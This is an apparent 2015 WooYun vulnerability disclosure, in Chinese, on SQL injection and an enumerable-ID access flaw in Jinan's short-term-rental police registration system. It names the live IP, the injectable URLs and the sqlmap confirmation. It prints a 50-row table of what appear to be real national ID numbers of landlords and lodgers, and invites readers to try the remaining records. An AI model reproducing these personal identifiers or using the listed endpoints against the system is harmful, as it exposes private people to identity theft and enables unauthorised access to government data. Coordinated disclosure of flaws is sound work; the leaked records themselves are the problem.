当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0118440

漏洞标题：某市敏感单位信息管理系统两处SQL注入&越权&敏感信息泄露

相关厂商：cncert国家互联网应急中心

漏洞作者： 深度安全实验室

提交时间：2015-06-08 10:34

修复时间：2015-07-27 13:34

公开时间：2015-07-27 13:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-08： 细节已通知厂商并且等待厂商处理中
2015-06-12： 厂商已经确认，细节仅向厂商公开
2015-06-22： 细节向核心白帽子及相关领域专家公开
2015-07-02： 细节向普通白帽子公开
2015-07-12： 细节向实习白帽子公开
2015-07-27： 细节向公众公开

简要描述：

详细说明：

1.济南市日租房治安管理信息系统

http://221.214.13.10:5003/login.aspx


2.两处SQL注入

http://221.214.13.10:5003/CZFW_Details.aspx?id=RN2722

http://221.214.13.10:5003/FZ_Details.aspx?id=RN37010220150321091708001


3.运行sqlmap，确认注入存在

0.png


4.发现13个库

2.png


5.以RZF库为例，发现34个表，及数十万数据

3.png


6.以RZF_DJB表为例，发现8万多条日租房登记信息，泄露的敏感数据包括：房东的身份证（FZ_SFZH）、旅客的身份证（SFZH）、以及登记的序列号（TBDWDM ）。先跑前50个数据，稍后会证明泄露的敏感数据有哪些

Database: RZF
Table: RZF_DJB
[50 entries]
+-----+---------+---------------------------+---------------------------+--------------------+--------------------+
| ID  | CZFW_ID | XLH                       | TBDWDM                    | FZ_SFZH            | SFZH               |
+-----+---------+---------------------------+---------------------------+--------------------+--------------------+
| 21  | RN23    | RW37010520130717151211001 | RN37010220130326121024001 | 422727196504211828 | 341222199509128728 |
| 22  | RN63    | RW37010520130717151326001 | RN37010220130327164325001 | 370702194908162943 | 372830196503043737 |
| 23  | RN63    | RW37010520130717223604001 | RN37010220130327164325001 | 370702194908162943 | 370921199008160099 |
| 24  | RN63    | RW37010520130717223720001 | RN37010220130327164325001 | 370702194908162943 | 370883198102287212 |
| 25  | RN22    | RW37010520130717224115001 | RN37010220130326120050001 | 370123196910163820 | 370832198208062521 |
| 26  | RN22    | RW37010520130717225511001 | RN37010220130326120050001 | 370123196910163820 | 37083219840620253x |
| 33  | RN22    | RW37010520130717225658001 | RN37010220130326120050001 | 370123196910163820 | 370883197902160047 |
| 34  | RN62    | RW37010520130717225949001 | RN37010220130327164325001 | 370702194908162943 | 370302198611018314 |
| 35  | RN62    | RW37010520130718220613001 | RN37010220130327164325001 | 370702194908162943 | 370983198412270534 |
| 36  | RN62    | RW37010520130718220727001 | RN37010220130327164325001 | 370702194908162943 | 220822198403205115 |
| 37  | RN62    | RW37010520130718232335001 | RN37010220130327164325001 | 370702194908162943 | 220822198603275425 |
| 38  | RN62    | RW37010520130718233038001 | RN37010220130327164325001 | 370702194908162943 | 370303194404011767 |
| 39  | RN62    | RW37010520130719224457001 | RN37010220130327164325001 | 370702194908162943 | 370481197503038453 |
| 40  | RN62    | RW37010520130719224619001 | RN37010220130327164325001 | 370702194908162943 | 371421198512073698 |
| 41  | RN23    | RW37010520130719224717001 | RN37010220130326121024001 | 422727196504211828 | 370826198810154018 |
| 42  | RN23    | RW37010520130719224802001 | RN37010220130326121024001 | 422727196504211828 | 372901196802282838 |
| 43  | RN23    | RW37010520130719225128001 | RN37010220130326121024001 | 422727196504211828 | 372824197104151818 |
| 44  | RN23    | RW37010520130720175642001 | RN37010220130326121024001 | 422727196504211828 | 371121198110221719 |
| 45  | RN23    | RW37010520130720175759001 | RN37010220130326121024001 | 422727196504211828 | 372330710822511    |
| 46  | RN23    | RW37010520130720175846001 | RN37010220130326121024001 | 422727196504211828 | 370825195503215132 |
| 47  | RN24    | RW37010520130720204239001 | RN37010220130326121024001 | 422727196504211828 | 372924197701073091 |
| 48  | RN23    | RW37010520130720224212001 | RN37010220130326121024001 | 422727196504211828 | 34122220000620873x |
| 49  | RN63    | RW37010520130721183949001 | RN37010220130327164325001 | 370702194908162943 | 372901199607126139 |
| 3   | RN22    | RW37010520130721220520001 | RN37010220130326120050001 | 370123196910163820 | 372822196607071257 |
| 6   | RN23    | RW37010520130721220647001 | RN37010220130326121024001 | 422727196504211828 | 342123197208136348 |
| 7   | RN23    | RW37010520130721220829001 | RN37010220130326121024001 | 422727196504211828 | 34122220000620873X |
| 8   | RN23    | RW37010520130722104211001 | RN37010220130326121024001 | 422727196504211828 | 341222199509128728 |
| 9   | RN23    | RW37010520130722104709001 | RN37010220130326121024001 | 422727196504211828 | 341222200611248721 |
| 12  | RN22    | RW37010520130722221111001 | RN37010220130326120050001 | 370123196910163820 | 371323199102246121 |
| 13  | RN22    | RW37010520130722221114001 | RN37010220130326120050001 | 370123196910163820 | 37132319870309611X |
| 14  | RN22    | RW37010520130722221609001 | RN37010220130326120050001 | 370123196910163820 | 371426198708101218 |
| 18  | RN62    | RW37010520130722224316001 | RN37010220130327164325001 | 370702194908162943 | 370826195908051611 |
| 50  | RN63    | RW37010520130722231140001 | RN37010220130327164325001 | 370702194908162943 | 372929197011102117 |
| 61  | RN62    | RW37010520130722231246001 | RN37010220130327164325001 | 370702194908162943 | 371202196609090073 |
| 62  | RN62    | RW37010520130722231339001 | RN37010220130327164325001 | 370702194908162943 | 370923198502131574 |
| 63  | RN62    | RW37010520130722231853001 | RN37010220130327164325001 | 370702194908162943 | 37092319870920155x |
| 64  | RN62    | RW37010520130723155638001 | RN37010220130327164325001 | 370702194908162943 | 37282819730707183x |
| 65  | RN62    | RW37010520130723223734001 | RN37010220130327164325001 | 370702194908162943 | 370302199001108026 |
| 95  | RN62    | RW37010520130723224100001 | RN37010220130327164325001 | 370702194908162943 | 370406199102105271 |
| 96  | RN22    | RW37010520130724181631001 | RN37010220130326120050001 | 370123196910163820 | 370786198603213944 |
| 97  | RN22    | RW37010520130724181631002 | RN37010220130326120050001 | 370123196910163820 | 220502197710211017 |
| 98  | RN22    | RW37010520130724194135001 | RN37010220130326120050001 | 370123196910163820 | 220502195110121027 |
| 99  | RN22    | RW37010520130724201148001 | RN37010220130326120050001 | 370123196910163820 | 370883199006224224 |
| 115 | RN102   | RW37010520130724215419001 | RN37010220130412091932001 | 370112197806192926 | 321025196509216016 |
| 116 | RN102   | RW37010520130724215457001 | RN37010220130412091932001 | 370112197806192926 | 321028196909142414 |
| 117 | RN102   | RW37010520130724230559001 | RN37010220130412091932001 | 370112197806192926 | 321028196801162456 |
| 19  | RN23    | RW37010520130725190149001 | RN37010220130326121024001 | 422727196504211828 | 372924196604290014 |
| 20  | RN24    | RW37010520130725195643001 | RN37010220130326121024001 | 422727196504211828 | 37112119810130001X |
| 51  | RN22    | RW37010520130725195939001 | RN37010220130326120050001 | 370123196910163820 | 372432196602284123 |
| 52  | RN63    | RW37010520130725200116001 | RN37010220130327164325001 | 370702194908162943 | 371521198605210319 |
+-----+---------+---------------------------+---------------------------+--------------------+--------------------+


7.其实，直接遍历TBDWDM字段，可以在网页中查看出租人详细信息以及日租房详细信息

http://221.214.13.10:5003/FZ_Details.aspx?id=RN37010220130326121024001

4.png

5.png

6.png


http://221.214.13.10:5003/FZ_Details.aspx?id=RN37010220130327164325001

7.png

8.png

9.png


8.几十万条记录，其余的自己试哈

漏洞证明：

修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-06-12 13:33

厂商回复：

CNVD确认所述情况，已经转由CNCERT下发给山东分中心，由其后续协调网站管理单位处置。

最新状态：

暂无